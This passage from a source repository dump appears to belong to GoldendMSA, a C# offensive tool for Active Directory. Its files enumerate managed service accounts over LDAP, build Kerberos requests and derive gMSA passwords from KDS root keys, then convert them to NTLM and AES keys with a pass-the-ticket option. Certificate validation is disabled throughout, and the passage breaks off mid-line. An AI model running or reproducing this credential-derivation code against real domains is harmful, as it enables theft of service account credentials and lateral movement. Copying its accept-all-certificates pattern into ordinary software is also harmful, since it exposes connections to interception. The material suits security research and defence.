**/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ -------------------------------------------------------------------------------- /GoldendMSA/LdapEnumeration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.DirectoryServices.Protocols; 4 | using System.Net; 5 | using System.Net.Security; 6 | using System.Security.Cryptography.X509Certificates; 7 | using System.Security.Principal; 8 | 9 | namespace GoldendMSA 10 | { 11 | public class LdapEnumeration 12 | { 13 | private static bool ServerCallback(LdapConnection connection, X509Certificate certificate) 14 | { 15 | return true; 16 | } 17 | 18 | private static bool AcceptAllCertificates(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) 19 | { 20 | // Accept all certificates for testing purposes 21 | return true; 22 | } 23 | 24 | public static int ldapEnumeration(String DomainName) 25 | { 26 | (string dcName, string dcIp) = LdapUtils.GetDomainControllerInfoAlt(DomainName); 27 | 28 | List SpecialAccounts = LdapUtils.SearchForGMSAsDirectly(dcName, false, DomainName); 29 | string baseDN = "CN=Managed Service Accounts,DC=" + DomainName.Replace(".",",DC="); 30 | string domainName = (DomainName.Split('.'))[0]; 31 | string accountSam = "*"; 32 | string filter = $"(&(objectClass=*)(sAMAccountName={accountSam}))"; 33 | 34 | ServicePointManager.ServerCertificateValidationCallback = AcceptAllCertificates; 35 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls; 36 | ServicePointManager.CheckCertificateRevocationList = false; 37 | 38 | LdapConnection connection = null; 39 | try 40 | { 41 | // Create LDAP connection 42 | var ldapDirectoryIdentifier = new LdapDirectoryIdentifier(dcName, 389); 43 | connection = new LdapConnection(ldapDirectoryIdentifier); 44 | 45 | // Set protocol version to LDAPv3 46 | connection.SessionOptions.ProtocolVersion = 3; 47 | connection.SessionOptions.ReferralChasing = ReferralChasingOptions.None; 48 | 49 | // Configure TLS with error handling 50 | try 51 | { 52 | connection.SessionOptions.VerifyServerCertificate = new VerifyServerCertificateCallback(ServerCallback); 53 | 54 | connection.SessionOptions.SecureSocketLayer = false; 55 | connection.SessionOptions.StartTransportLayerSecurity(null); 56 | } 57 | catch (TlsOperationException tlsEx) 58 | { 59 | connection.Dispose(); 60 | connection = new LdapConnection(ldapDirectoryIdentifier); 61 | connection.SessionOptions.ProtocolVersion = 3; 62 | connection.SessionOptions.ReferralChasing = ReferralChasingOptions.None; 63 | } 64 | 65 | connection.AuthType = AuthType.Negotiate; 66 | connection.Credential = CredentialCache.DefaultNetworkCredentials; 67 | 68 | // Bind to the directory 69 | connection.Bind(); 70 | 71 | // Perform LDAP search 72 | var searchRequest = new SearchRequest( 73 | baseDN, 74 | "(objectclass=*)", 75 | SearchScope.OneLevel, 76 | null // Return all attributes 77 | ); 78 | 79 | var searchResponse = (SearchResponse)connection.SendRequest(searchRequest); 80 | 81 | if (searchResponse.ResultCode != ResultCode.Success) 82 | { 83 | Console.WriteLine($"ldap_search_s failed: {searchResponse.ResultCode} - {searchResponse.ErrorMessage}"); 84 | return 1; 85 | } 86 | 87 | int count = 0; 88 | 89 | // Process search results 90 | foreach (SearchResultEntry entry in searchResponse.Entries) 91 | { 92 | if ((!SpecialAccounts.Contains(entry.DistinguishedName))) 93 | { 94 | Console.WriteLine($"\nEntry DN: {entry.DistinguishedName}"); 95 | string accountName = ""; 96 | 97 | string adsPath = entry.DistinguishedName; 98 | 99 | adsPath = "LDAP://" + adsPath; 100 | if (adsPath.StartsWith("LDAP://CN=")) 101 | { 102 | int startIndex = "LDAP://CN=".Length; 103 | int endIndex = adsPath.IndexOf(',', startIndex); 104 | if (endIndex > startIndex) 105 | { 106 | accountName = adsPath.Substring(startIndex, endIndex - startIndex); 107 | Console.WriteLine($"Account Name (from ADSPath):\t{accountName}$"); 108 | } 109 | } 110 | if (!string.IsNullOrEmpty(accountName)) 111 | { 112 | try 113 | { 114 | // Try to resolve SID using NTAccount 115 | string domainAccount = accountName.Contains("\\") ? accountName : $"{domainName}\\{accountName}$"; 116 | NTAccount ntAccount = new NTAccount(domainAccount); 117 | SecurityIdentifier sid = (SecurityIdentifier)ntAccount.Translate(typeof(SecurityIdentifier)); 118 | Console.WriteLine($"SID :\t{sid.Value}"); 119 | } 120 | catch (Exception resolveEx) 121 | { 122 | Console.WriteLine($"SID : Failed to resolve - {resolveEx.Message}"); 123 | } 124 | } 125 | // Look for objectClass attribute specifically 126 | if (entry.Attributes.Contains("objectClass")) 127 | { 128 | var objectClassAttribute = entry.Attributes["objectClass"]; 129 | foreach (string value in objectClassAttribute.GetValues(typeof(string))) 130 | { 131 | Console.WriteLine($" objectClass: {value}"); 132 | } 133 | } 134 | if (entry.Attributes.Contains("objectSid")) 135 | { 136 | var objectSidAttribute = entry.Attributes["objectSid"]; 137 | string sidValue = new System.Security.Principal.SecurityIdentifier((byte[])objectSidAttribute.GetValues(typeof(byte[]))[0], 0).Value; 138 | 139 | Console.WriteLine($" objectSid: {sidValue}"); 140 | } 141 | if (entry.Attributes.Contains("msDS-ManagedPasswordId")) 142 | { 143 | DirectoryAttribute da = entry.Attributes["msDS-ManagedPasswordId"]; 144 | byte[] objectPassAttribute = (byte[])(da.GetValues(typeof(byte[]))[0]); 145 | MsdsManagedPasswordId mpid = new MsdsManagedPasswordId(objectPassAttribute); 146 | Console.WriteLine("Related key: " + mpid.RootKeyIdentifier); 147 | Console.WriteLine($" msDS-ManagedPasswordId: {Convert.ToBase64String(objectPassAttribute)}"); 148 | } 149 | 150 | count++; 151 | } 152 | } 153 | 154 | if (count == 0) 155 | { 156 | Console.WriteLine("No matching entries found."); 157 | } 158 | else 159 | { 160 | Console.WriteLine($"\nTotal entries found: {count}"); 161 | } 162 | 163 | return 0; 164 | } 165 | catch (LdapException ex) 166 | { 167 | Console.WriteLine($"LDAP Error: {ex.ErrorCode} - {ex.Message}"); 168 | return 1; 169 | } 170 | catch (Exception ex) 171 | { 172 | Console.WriteLine($"Error: {ex.Message}"); 173 | return 1; 174 | } 175 | finally 176 | { 177 | connection?.Dispose(); 178 | } 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KDC_REQ_BODY.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class KDCReqBody 9 | { 10 | //KDC-REQ-BODY::= SEQUENCE { 11 | // kdc-options[0] KDCOptions, 12 | // cname[1] PrincipalName OPTIONAL 13 | // -- Used only in AS-REQ --, 14 | // realm[2] Realm 15 | // -- Server's realm 16 | // -- Also client's in AS-REQ --, 17 | // sname[3] PrincipalName OPTIONAL, 18 | // from[4] KerberosTime OPTIONAL, 19 | // till[5] KerberosTime, 20 | // rtime[6] KerberosTime OPTIONAL, 21 | // nonce[7] UInt32, 22 | // etype[8] SEQUENCE OF Int32 -- EncryptionType 23 | // -- in preference order --, 24 | // addresses[9] HostAddresses OPTIONAL, 25 | // enc-authorization-data[10] EncryptedData OPTIONAL 26 | // -- AuthorizationData --, 27 | // additional-tickets[11] SEQUENCE OF Ticket OPTIONAL 28 | // -- NOTE: not empty 29 | //} 30 | 31 | public KDCReqBody(bool c = true, bool r = false) 32 | { 33 | // defaults for creation 34 | kdcOptions = Interop.KdcOptions.FORWARDABLE | Interop.KdcOptions.RENEWABLE | Interop.KdcOptions.RENEWABLEOK; 35 | 36 | // added ability to remove cname from request 37 | // seems to be useful for cross domain stuff 38 | // didn't see a cname in "real" S4U request traffic 39 | if (c) 40 | { 41 | cname = new PrincipalName(); 42 | } 43 | 44 | sname = new PrincipalName(); 45 | 46 | 47 | till = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); 48 | 49 | // add rtime for AS-REQs 50 | if (r) 51 | { 52 | rtime = DateTime.ParseExact("20370913024805Z", "yyyyMMddHHmmssZ", System.Globalization.CultureInfo.InvariantCulture); 53 | } 54 | 55 | var rand = new Random(); 56 | nonce = (UInt32)rand.Next(1, Int32.MaxValue); 57 | 58 | additional_tickets = new List(); 59 | 60 | etypes = new List(); 61 | } 62 | 63 | 64 | public AsnElt Encode() 65 | { 66 | // TODO: error-checking! 67 | 68 | List allNodes = new List(); 69 | 70 | // kdc-options [0] KDCOptions 71 | byte[] kdcOptionsBytes = BitConverter.GetBytes((UInt32)kdcOptions); 72 | if (BitConverter.IsLittleEndian) 73 | { 74 | Array.Reverse(kdcOptionsBytes); 75 | } 76 | AsnElt kdcOptionsAsn = AsnElt.MakeBitString(kdcOptionsBytes); 77 | AsnElt kdcOptionsSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { kdcOptionsAsn }); 78 | kdcOptionsSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, kdcOptionsSeq); 79 | allNodes.Add(kdcOptionsSeq); 80 | 81 | 82 | // cname [1] PrincipalName 83 | if (cname != null) 84 | { 85 | AsnElt cnameElt = cname.Encode(); 86 | cnameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, cnameElt); 87 | allNodes.Add(cnameElt); 88 | } 89 | 90 | 91 | // realm [2] Realm 92 | // --Server's realm 93 | // -- Also client's in AS-REQ -- 94 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.UTF8String, realm); 95 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 96 | AsnElt realmSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { realmAsn }); 97 | realmSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, realmSeq); 98 | allNodes.Add(realmSeq); 99 | 100 | 101 | // sname [3] PrincipalName OPTIONAL 102 | AsnElt snameElt = sname.Encode(); 103 | snameElt = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, snameElt); 104 | allNodes.Add(snameElt); 105 | 106 | 107 | // from [4] KerberosTime OPTIONAL 108 | 109 | 110 | // till [5] KerberosTime 111 | AsnElt tillAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, till.ToString("yyyyMMddHHmmssZ")); 112 | AsnElt tillSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tillAsn }); 113 | tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq); 114 | allNodes.Add(tillSeq); 115 | 116 | 117 | // rtime [6] KerberosTime 118 | if (rtime.Year > 0001) 119 | { 120 | AsnElt rtimeAsn = AsnElt.MakeString(AsnElt.GeneralizedTime, rtime.ToString("yyyyMMddHHmmssZ")); 121 | AsnElt rtimeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { rtimeAsn }); 122 | rtimeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, rtimeSeq); 123 | allNodes.Add(rtimeSeq); 124 | } 125 | 126 | // nonce [7] UInt32 127 | AsnElt nonceAsn = AsnElt.MakeInteger(nonce); 128 | AsnElt nonceSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nonceAsn }); 129 | nonceSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, nonceSeq); 130 | allNodes.Add(nonceSeq); 131 | 132 | 133 | // etype [8] SEQUENCE OF Int32 -- EncryptionType -- in preference order -- 134 | List etypeList = new List(); 135 | foreach (Interop.KERB_ETYPE etype in etypes) 136 | { 137 | AsnElt etypeAsn = AsnElt.MakeInteger((Int32)etype); 138 | //AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { etypeAsn }); 139 | etypeList.Add(etypeAsn); 140 | } 141 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); 142 | AsnElt etypeSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, etypeList.ToArray()); 143 | AsnElt etypeSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, etypeSeqTotal1); 144 | etypeSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 8, etypeSeqTotal2); 145 | allNodes.Add(etypeSeqTotal2); 146 | 147 | 148 | // addresses [9] HostAddresses OPTIONAL 149 | if (addresses != null) 150 | { 151 | List addrList = new List(); 152 | foreach (HostAddress addr in addresses) 153 | { 154 | AsnElt addrElt = addr.Encode(); 155 | addrList.Add(addrElt); 156 | } 157 | AsnElt addrSeqTotal1 = AsnElt.Make(AsnElt.SEQUENCE, addrList.ToArray()); 158 | AsnElt addrSeqTotal2 = AsnElt.Make(AsnElt.SEQUENCE, addrSeqTotal1); 159 | addrSeqTotal2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 9, addrSeqTotal2); 160 | allNodes.Add(addrSeqTotal2); 161 | } 162 | 163 | // enc-authorization-data [10] EncryptedData OPTIONAL 164 | if (enc_authorization_data != null) 165 | { 166 | AsnElt authorizationEncryptedDataASN = enc_authorization_data.Encode(); 167 | AsnElt authorizationEncryptedDataSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { authorizationEncryptedDataASN }); 168 | authorizationEncryptedDataSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 10, authorizationEncryptedDataSeq); 169 | allNodes.Add(authorizationEncryptedDataSeq); 170 | } 171 | 172 | // additional-tickets [11] SEQUENCE OF Ticket OPTIONAL 173 | if (additional_tickets.Count > 0) { 174 | AsnElt ticketAsn = additional_tickets[0].Encode(); 175 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); 176 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); 177 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 11, ticketSeq2); 178 | allNodes.Add(ticketSeq2); 179 | } 180 | 181 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray()); 182 | 183 | return seq; 184 | } 185 | 186 | 187 | public Interop.KdcOptions kdcOptions { get; set; } 188 | 189 | public PrincipalName cname { get; set; } 190 | 191 | public string realm { get; set; } 192 | 193 | public PrincipalName sname { get; set; } 194 | 195 | public DateTime from { get; set; } 196 | 197 | public DateTime till { get; set; } 198 | 199 | public DateTime rtime { get; set; } 200 | 201 | public UInt32 nonce { get; set; } 202 | 203 | public List etypes { get; set; } 204 | 205 | public List addresses { get; set; } 206 | 207 | public EncryptedData enc_authorization_data { get; set; } 208 | 209 | public List additional_tickets { get; set; } 210 | } 211 | } 212 | -------------------------------------------------------------------------------- /GoldendMSA/GmsaPassword.cs: -------------------------------------------------------------------------------- 1 | using GoldendMSA.Unsafe; 2 | using System; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | using System.Text; 7 | 8 | namespace GoldendMSA 9 | { 10 | public static class GmsaPassword 11 | { 12 | private static readonly byte[] DefaultGMSASecurityDescriptor = { 13 | 0x1, 0x0, 0x4, 0x80, 0x30, 0x0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 14 | 0x00, 0x14, 0x00, 0x00, 0x00, 0x02, 0x0, 0x1C, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 15 | 0x14, 0x0, 0x9F, 0x1, 0x12, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x9, 16 | 0x0, 0x0, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x5, 0x12, 0x0, 0x0, 0x0 }; 17 | 18 | 19 | public static byte[] GetPassword( // GetPasswordBasedOnTimeStamp 20 | SecurityIdentifier sid, 21 | RootKey rootKey, 22 | MsdsManagedPasswordId pwdId, 23 | string domainName, 24 | string forestName) 25 | { 26 | int l0KeyID = 0, l1KeyID = 0, l2KeyID = 0; 27 | 28 | KdsUtils.GetCurrentIntervalID(KdsUtils.KeyCycleDuration, 0, ref l0KeyID, ref l1KeyID, ref l2KeyID); 29 | 30 | GetKey.GetSidKeyLocal( 31 | GmsaPassword.DefaultGMSASecurityDescriptor, 32 | GmsaPassword.DefaultGMSASecurityDescriptor.Length, 33 | rootKey, 34 | l0KeyID, l1KeyID, l2KeyID, 35 | 0, 36 | domainName, forestName, 37 | out GroupKeyEnvelope gke, 38 | out int gkeSize); 39 | 40 | int passwordBlobSize = 256; 41 | byte[] sidBytes = new byte[sid.BinaryLength]; 42 | sid.GetBinaryForm(sidBytes, 0); 43 | 44 | var pwdBlob = GmsaPassword.GenerateGMSAPassowrd( 45 | gke, gkeSize, 46 | pwdId.MsdsManagedPasswordIdBytes, 47 | sidBytes, 48 | IntPtr.Zero, IntPtr.Zero, 49 | passwordBlobSize); 50 | 51 | return pwdBlob; 52 | } 53 | 54 | private static void ParseSIDKeyResult( 55 | GroupKeyEnvelope gke, 56 | int gkeSize, 57 | byte[] msdsManagedPasswordId, 58 | out byte[] l1Key, 59 | ref int l1KeyIdDiff, 60 | ref int newL1KeyId, 61 | out byte[] l2Key, 62 | ref int l2KeyIdDiff, 63 | ref int newL2KeyId, 64 | out byte[] publicKey) 65 | { 66 | newL2KeyId = 31; 67 | if (msdsManagedPasswordId != null) 68 | { 69 | MsdsManagedPasswordId msds_ManagedPasswordID = new MsdsManagedPasswordId(msdsManagedPasswordId); 70 | l1KeyIdDiff = gke.L1Index - msds_ManagedPasswordID.L1Index; 71 | l2KeyIdDiff = 32 - msds_ManagedPasswordID.L2Index; 72 | if (gke.cbL2Key > 0) 73 | { 74 | l1KeyIdDiff--; 75 | if (l1KeyIdDiff > 0) 76 | { 77 | newL1KeyId = gke.L1Index - 2; 78 | } 79 | if (gke.L1Index <= msds_ManagedPasswordID.L1Index) 80 | { 81 | l2KeyIdDiff = gke.L2Index - msds_ManagedPasswordID.L2Index; 82 | if (l2KeyIdDiff > 0) 83 | { 84 | newL2KeyId = gke.L2Index - 1; 85 | } 86 | } 87 | } 88 | else if (l1KeyIdDiff > 0) 89 | { 90 | newL1KeyId = gke.L1Index - 1; 91 | } 92 | } 93 | else if (gke.L2Index == 0) 94 | { 95 | l2KeyIdDiff = 1; 96 | } 97 | if (gke.cbL1Key > 0) 98 | { 99 | l1Key = gke.L1Key.ToArray(); 100 | } 101 | else 102 | { 103 | l1Key = null; 104 | } 105 | if (gke.cbL2Key > 0) 106 | { 107 | l2Key = gke.L2Key.ToArray(); 108 | } 109 | else 110 | { 111 | l2Key = null; 112 | } 113 | publicKey = null; 114 | } 115 | 116 | private static void ClientComputeL2Key( 117 | GroupKeyEnvelope gke, 118 | byte[] msdsManagedPasswordIdBytes, 119 | string kdfAlgorithmId, 120 | byte[] l1Key, 121 | ref byte[] l2Key, 122 | int l1KeyDiff, 123 | int newL1KeyId, 124 | int l2KeyDiff, 125 | int newL2KeyId) 126 | { 127 | var msdsManagedPasswordId = new MsdsManagedPasswordId(msdsManagedPasswordIdBytes); 128 | byte[] rootKeyGUID = gke.RootKeyIdentifier.ToByteArray(); 129 | byte[] kdfParam = null; 130 | 131 | if (gke.cbKDFParameters > 0) 132 | kdfParam = gke.KDFParameters.ToArray(); 133 | 134 | uint errCode = 0; 135 | 136 | if (l1KeyDiff > 0) 137 | { 138 | errCode = KdsCli.GenerateKDFContext( 139 | rootKeyGUID, gke.L0Index, 140 | newL1KeyId, 0xffffffff, 141 | 1, 142 | out IntPtr KDFContextL1, 143 | out int KDFContextSizeL1, 144 | out int kdfContextFlagL1); 145 | 146 | if (errCode != 0) 147 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}"); 148 | 149 | 150 | byte[] KDFContextArrL1 = new byte[KDFContextSizeL1]; 151 | Marshal.Copy(KDFContextL1, KDFContextArrL1, 0, KDFContextSizeL1); 152 | 153 | errCode = KdsCli.GenerateDerivedKey( 154 | kdfAlgorithmId, kdfParam, 155 | gke.cbKDFParameters, l1Key, 156 | 64, KDFContextArrL1, 157 | KDFContextSizeL1, ref kdfContextFlagL1, 158 | null, 0, 159 | l1KeyDiff, l1Key, 160 | RootKey.KdsRootKeyDataSizeDefault, 0); 161 | 162 | if (errCode != 0) 163 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 164 | } 165 | 166 | if ((msdsManagedPasswordIdBytes == null || gke.L1Index <= msdsManagedPasswordId.L1Index) && gke.cbL2Key != 0) 167 | l1Key = l2Key; 168 | 169 | if (l2KeyDiff > 0) 170 | { 171 | long something; 172 | if (msdsManagedPasswordIdBytes == null) 173 | { 174 | something = gke.L1Index; 175 | } 176 | else 177 | { 178 | something = msdsManagedPasswordId.L1Index; 179 | } 180 | 181 | errCode = KdsCli.GenerateKDFContext( 182 | rootKeyGUID, gke.L0Index, 183 | something, newL2KeyId, 184 | 2, 185 | out IntPtr KDFContextL2, 186 | out int KDFContextSizeL2, 187 | out int kdfContextFlagL2); 188 | 189 | if (errCode != 0) 190 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateKDFContext)} failed with error code {errCode}"); 191 | 192 | 193 | byte[] KDFContextArrL2 = new byte[KDFContextSizeL2]; 194 | Marshal.Copy(KDFContextL2, KDFContextArrL2, 0, KDFContextSizeL2); 195 | 196 | if (l2Key == null) 197 | l2Key = new byte[RootKey.KdsRootKeyDataSizeDefault]; 198 | 199 | errCode = KdsCli.GenerateDerivedKey( 200 | kdfAlgorithmId, kdfParam, 201 | gke.cbKDFParameters, l1Key, 202 | 64, KDFContextArrL2, 203 | KDFContextSizeL2, ref kdfContextFlagL2, 204 | null, 0, 205 | l2KeyDiff, l2Key, 206 | RootKey.KdsRootKeyDataSizeDefault, 0); 207 | 208 | if (errCode != 0) 209 | throw new Exception($"{nameof(ClientComputeL2Key)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 210 | } 211 | } 212 | 213 | private static byte[] GenerateGMSAPassowrd( 214 | GroupKeyEnvelope gke, 215 | int gkeSize, 216 | byte[] msdsManagedPasswordId, 217 | byte[] Sid, 218 | IntPtr OutOpt, 219 | IntPtr OutOptSize, 220 | int pwdBlobSize) 221 | { 222 | byte[] kdfParam = null; 223 | int newL1KeyID = 0, newL2KeyID = 0, l1KeyDiff = 0, l2KeyDiff = 0, flag = 0; 224 | string labelStr = "GMSA PASSWORD\x0"; 225 | byte[] label = Encoding.Unicode.GetBytes(labelStr); 226 | var pwdBlob = new byte[pwdBlobSize]; 227 | 228 | ParseSIDKeyResult( 229 | gke, gkeSize, 230 | msdsManagedPasswordId, 231 | out byte[] l1Key, ref l1KeyDiff, ref newL1KeyID, 232 | out byte[] l2Key, ref l2KeyDiff, ref newL2KeyID, 233 | out byte[] publicKey); 234 | 235 | if (l1KeyDiff > 0 || l2KeyDiff > 0) 236 | { 237 | ClientComputeL2Key(gke, msdsManagedPasswordId, gke.KDFAlgorithm, l1Key, ref l2Key, l1KeyDiff, newL1KeyID, l2KeyDiff, newL2KeyID); 238 | } 239 | if (gke.cbKDFParameters > 0) 240 | { 241 | kdfParam = gke.KDFParameters; 242 | } 243 | 244 | var errCode = KdsCli.GenerateDerivedKey( 245 | gke.KDFAlgorithm, kdfParam, 246 | gke.cbKDFParameters, l2Key, 247 | 64, Sid, 248 | Sid.Length, 249 | ref flag, 250 | label, 28, 251 | 1, 252 | pwdBlob, pwdBlobSize, 253 | 0); // 28 is hardcoded in the dll, should be label.Length 254 | 255 | if (errCode != 0) 256 | throw new Exception($"{nameof(GenerateGMSAPassowrd)}:: {nameof(KdsCli.GenerateDerivedKey)} failed with error code {errCode}"); 257 | 258 | return pwdBlob; 259 | } 260 | } 261 | } -------------------------------------------------------------------------------- /GoldendMSA/Helpers.cs: -------------------------------------------------------------------------------- 1 | using Cryptography; 2 | using System; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Security.Principal; 7 | using System.Text; 8 | using System.Text.RegularExpressions; 9 | 10 | namespace GoldendMSA 11 | { 12 | public class Helpers 13 | { 14 | public static byte[] SendBytes(string server, int port, byte[] data) 15 | { 16 | var ipEndPoint = new System.Net.IPEndPoint(System.Net.IPAddress.Parse(server), port); 17 | try 18 | { 19 | using (System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(ipEndPoint.AddressFamily)) 20 | { 21 | 22 | // connect to the server over The specified port 23 | client.Client.Ttl = 128; 24 | client.Connect(ipEndPoint); 25 | BinaryReader socketReader = new BinaryReader(client.GetStream()); 26 | BinaryWriter socketWriter = new BinaryWriter(client.GetStream()); 27 | 28 | socketWriter.Write(System.Net.IPAddress.HostToNetworkOrder(data.Length)); 29 | socketWriter.Write(data); 30 | 31 | int recordMark = System.Net.IPAddress.NetworkToHostOrder(socketReader.ReadInt32()); 32 | int recordSize = recordMark & 0x7fffffff; 33 | 34 | if ((recordMark & 0x80000000) > 0) 35 | { 36 | Console.WriteLine("[X] Unexpected reserved bit set on response record mark from Domain Controller {0}:{1}, aborting", server, port); 37 | return null; 38 | } 39 | 40 | byte[] responseRecord = socketReader.ReadBytes(recordSize); 41 | 42 | if (responseRecord.Length != recordSize) 43 | { 44 | Console.WriteLine("[X] Incomplete record received from Domain Controller {0}:{1}, aborting", server, port); 45 | return null; 46 | } 47 | 48 | return responseRecord; 49 | } 50 | } 51 | catch (System.Net.Sockets.SocketException e) 52 | { 53 | if (e.SocketErrorCode == System.Net.Sockets.SocketError.TimedOut) 54 | { 55 | Console.WriteLine("[X] Error connecting to {0}:{1} : {2}", server, port, e.Message); 56 | } 57 | else 58 | { 59 | Console.WriteLine("[X] Failed to get response from Domain Controller {0}:{1} : {2}", server, port, e.Message); 60 | } 61 | 62 | } 63 | catch (FormatException fe) 64 | { 65 | Console.WriteLine("[X] Error parsing IP address {0} : {1}", server, fe.Message); 66 | } 67 | 68 | return null; 69 | } 70 | public static byte[] StringToByteArray(string hex) 71 | { 72 | // converts a rc4/AES/etc. string into a byte array representation 73 | 74 | if ((hex.Length % 16) != 0) 75 | { 76 | Console.WriteLine("\r\n[X] Hash must be 16, 32 or 64 characters in length\r\n"); 77 | System.Environment.Exit(1); 78 | } 79 | 80 | // yes I know this inefficient 81 | return Enumerable.Range(0, hex.Length) 82 | .Where(x => x % 2 == 0) 83 | .Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) 84 | .ToArray(); 85 | } 86 | public static Interop.PRINCIPAL_TYPE StringToPrincipalType(string name) { 87 | 88 | switch (name) { 89 | case "principal": 90 | return Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 91 | case "x500": 92 | return Interop.PRINCIPAL_TYPE.NT_X500_PRINCIPAL; 93 | case "enterprise": 94 | return Interop.PRINCIPAL_TYPE.NT_ENTERPRISE; 95 | case "srv_xhost": 96 | return Interop.PRINCIPAL_TYPE.NT_SRV_XHST; 97 | case "srv_host": 98 | return Interop.PRINCIPAL_TYPE.NT_SRV_HST; 99 | case "srv_inst": 100 | return Interop.PRINCIPAL_TYPE.NT_SRV_INST; 101 | default: 102 | throw new ArgumentException($"name argument with value {name} is not supported"); 103 | } 104 | } 105 | public static bool IsBase64String(string input) 106 | { 107 | if (string.IsNullOrEmpty(input)) 108 | return false; 109 | 110 | try 111 | { 112 | Convert.FromBase64String(input.Trim()); 113 | return true; 114 | } 115 | catch (FormatException) 116 | { 117 | return false; 118 | } 119 | } 120 | public static string ConvertBase64ToNTLM(string base64String) 121 | { 122 | // Decode base64 to byte array 123 | byte[] decodedData = Convert.FromBase64String(base64String); 124 | 125 | // Create MD4 hash 126 | using (var md4 = new Cryptography.MD4()) 127 | { 128 | byte[] hashBytes = md4.ComputeHash(decodedData); 129 | 130 | // Convert to hex string (lowercase) 131 | return BitConverter.ToString(hashBytes).Replace("-", "").ToLowerInvariant(); 132 | } 133 | } 134 | public static int base64ToAES(string username, string domainName, String password, bool bruteforceMode = true, bool ptt = false, bool verbose = false) 135 | { 136 | byte[] decodedPassword = Convert.FromBase64String(password); 137 | string utf16Password = Encoding.Unicode.GetString(decodedPassword); 138 | byte[] utf8Password = Encoding.UTF8.GetBytes(utf16Password); 139 | string pureUsername = (username.Split('$'))[0]; 140 | string salt = domainName.ToUpper() + "host" + pureUsername.ToLower() + "." + domainName.ToLower(); 141 | var aes = new AES256(); 142 | byte[] aes256Key = aes.StringToKeyAES256(utf8Password, salt); 143 | byte[] aes128Key = aes.StringToKeyAES128(utf8Password, salt); 144 | string aes_256_hash = BitConverter.ToString(aes256Key).Replace("-", "").ToLower(); 145 | string 